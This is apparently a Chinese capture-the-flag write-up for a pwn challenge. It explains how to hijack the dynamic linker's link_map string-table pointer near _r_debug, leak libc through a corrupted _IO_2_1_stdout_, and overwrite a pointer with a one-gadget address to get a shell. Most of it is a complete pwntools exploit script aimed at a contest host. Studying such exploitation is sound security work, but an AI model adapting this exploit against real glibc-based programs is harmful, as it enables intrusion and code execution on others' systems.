巅峰极客又爆0了,该认真学学linkmap以及rtld了

结构是这样:

Untitled

原文是从Rel再到Sym再到Str的劫持 从而完全控制整个动态链接的过程

寻找表的路径是:

动态链接输入参数两个(Linkmap,rel_offset)

linkmap→l_info[DT_JMPREL] → ELF_JMPREL → .rel.plt + rel_offset → 拿到在.dynsym的偏移offset0

linkmap→l_info[DT_SYMTAB] → ELF_JMPSYM → .dynsym + offset0 → 拿到在.dynstr的偏移offset1

linkmap→l_info[DT_STRTAB] → ELF_JMPSTR → .dynstr + offset1 → 拿到即将查询的函数字符串

由于只能在libc附近高地址任意写,所以利用了elf中有一个指针_r_debug指向了ld一块内存地址,可以将.ret.plt.dynsym.dynstr都劫持到_r_debug附近内存

但是由于内存分布和原题不一样了

并且调用的时候rel_offset为2(找write),所以在自上而下实现Sym劫持的时候,将DT_SYMTAB修改为指向elf中的_r_debug,但是由于rel_offset是2所以会去_r_debug里面找第三个 .dymsym的位置,但是这个位置恰好是_rtld_global._ld_ns._ns_loaded的第一个字段l_addr ,而这个字段又是会影响回写got表的,所以会爆炸

自上而下劫持失败了,只能从下而上小部分控制,可以劫持DT_STRTAB ,这个是用来控制字符串表的,现在_r_debug +0x3e的位置布置字符串(这个是write的.dynsym的st→name决定的)

然后改掉DT_STRTAB 到elf中的_r_debug 偏移就可以将.dynstr挟持到_r_debug 附近内存,从而实现任意函数申请

后面利用就是篡改_IO_2_1_stdout_ 然后申请putchar 函数实现_IO_FILE_leak

之后想怎么打就怎么打了

import os
import sys
import time
import ctypes
from pwn import *
from typing import Callable

def interrupt(io):
    if IN_DEBUG:
        gdb.attach(io, gdb_args)

def tob(a):
    if isinstance(a, str):
        return bytes(a, encoding="latin1")
    elif isinstance(a,bytes) or isinstance(a, bytearray):
        return a
    else:
        return bytes(str(a), encoding="latin1")

def main():
    global IN_DEBUG, gdb_args, pwn_elf, libc, libc_exec, ld, libc_path
    IN_DEBUG = False
    libc_path = "/usr/lib/glibc/2.31-0ubuntu9.14_amd64/libc.so.6"
    elf_path = "./pwn"

    gdb_args = '''
    b *$rebase(0x122D)
    b _dl_fini
    '''

    if sys.argv[1] == "a":
        context.log_level = "error"
    else:
        context.log_level = "info"

    context.log_level = "debug"

    context.terminal = ["tmux","splitw","-h"]
    context.binary = elf_path
    libc = ELF(libc_path)
    ld = ELF("./ld-2.31.so")
    # libc_exec = ctypes.cdll.LoadLibrary(libc_path)
    pwn_elf = ELF(elf_path)
    if sys.argv[1] in ["d", "m", "l", "r"]:
        cnt = int(sys.argv[2]) if len(sys.argv) > 2 else 1
    elif sys.argv[1] in ["a"]:
        cnt = int(sys.argv[4]) if len(sys.argv) > 4 else 1
    success(f"Total rounds: {cnt}")
    while cnt != 0:
        if len(sys.argv) == 1 or sys.argv[1] == "d":
            io = gdb.debug(context.binary.path, gdb_args)#, env={"LD_PRELOAD":libc_path})
        elif sys.argv[1] == "m":
            io = process(context.binary.path)
            IN_DEBUG = True
        elif sys.argv[1] == "l":
            io = process(context.binary.path)
        elif sys.argv[1] == "a":
            if isinstance(sys.argv[3],int):
                io = remote(sys.argv[2],sys.argv[3])
            elif isinstance(sys.argv[3],str) or isinstance(sys.argv[3],bytes):
                io = remote(sys.argv[2],int(sys.argv[3]))
        elif sys.argv[1] == "r":
            io = remote("8.147.128.135", 12704)
        try:
            success(f"Round left: {cnt}")
            pwn(io)
        except EOFError:
            io.close()
            cnt -= 1
            continue
        success("Done")
        break

def csu_gadget(part1, part2, jmp2, arg1 = 0, arg2 = 0, arg3 = 0):
    payload = p64(part1)    # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
    payload += p64(0)    # rbx be 0x0
    payload += p64(1)    # rbp be 0x1
    payload += p64(jmp2)    # r12 jump to
    payload += p64(arg3)    # r13 -> rdx    arg3
    payload += p64(arg2)    # r14 -> rsi    arg2
    payload += p64(arg1)    # r15 -> edi    arg1
    payload += p64(part2)    # part2 entry will call [r12 + rbx * 0x8]
    payload += b'A' * 56    # junk 6 * 8 + 8 = 56
    return payload

def pwn(io: tube):
    class link_map:
        DT_JMPREL = 23
        DT_SYMTAB = 6
        DT_STRTAB = 5
        DT_VER = 50
        DT_FINI = 13
        DT_PLTGOT = 3
        DT_FINI_ARRAY = 26
        DT_FINI_ARRAYSZ = 28

        def __init__(self, offset):
            self.offset = offset

        def l_addr(self):
            return ld.address + self.offset

        def l_info(self, tag):
            return ld.address + self.offset + 0x40 + tag * 8

        def l_init_called(self):
            return self.l_addr() + 0x31C

    ld.address = 0x235000 - 0x10
    # ld.address = 0x23b000 - 0x10
    libc.address = 0x41000 - 0x10

    binary_map = link_map(0x2f190)
    # ld_map = link_map(0x35A48)
    libc_map_addr = libc.address + 0x1f2000

    def write(offset, bytes):
        info(f"writeing {hex(offset)}: {hex(len(bytes))}")
        for i, byte in enumerate(bytes):
            io.send(p64(offset + i, signed=True))
            io.send(p8(byte))

    def call_func_with_offset(name, offset):
        assert offset < 0x100
        write(ld.symbols["_r_debug"]+0x3e, name)
        write(binary_map.l_info(link_map.DT_STRTAB), p8(0xB8))
        # pause()
        if offset != 0:
            write(libc_map_addr, p8(offset))

        # restore
            write(libc_map_addr, p8(0))
        write(binary_map.l_info(link_map.DT_STRTAB), p8(0x78))

    l_addr_offset = pwn_elf.got["_Exit"] - pwn_elf.got["write"]
    write(binary_map.l_addr(), p8(l_addr_offset))

    interrupt(io)

    # write(ld.address + 0x2ef70, p64(0x7f42fee87afe)[:3])
    
    # set stdout to unbufferred, so that when initializing stdout in putchar, _IO_buf_end will ==  _IO_buf_base + 1
    # instead of allocing a large buffer
    write(libc.symbols["_IO_2_1_stdout_"] + 0x00, p32(0xfbad2087))
    # initialize STDOUT
    call_func_with_offset(b"putchar\\0", 0)

    write(libc.symbols["_IO_2_1_stdout_"] + 0x00, p32(0xfbad1800))
    write(libc.symbols["_IO_2_1_stdout_"] + 0x20, b'\\0')
    # write(libc.symbols["_IO_2_1_stdout_"] + 0x20, b'\\0')
    
    call_func_with_offset(b"putchar\\0", 0)
    io.recvuntil(b'\\0'*9)
    real_libc = ELF(libc_path)
    real_libc.address = u64(io.recv(8)) - 0x1ec980
    success(f"libc: {hex(real_libc.address)}")

    write(ld.address + 0x2ef70, p64(real_libc.address + 0xe3afe))

    call_func_with_offset(b"exit\\0", 0)

    io.interactive()

if __name__ == "__main__":
    main()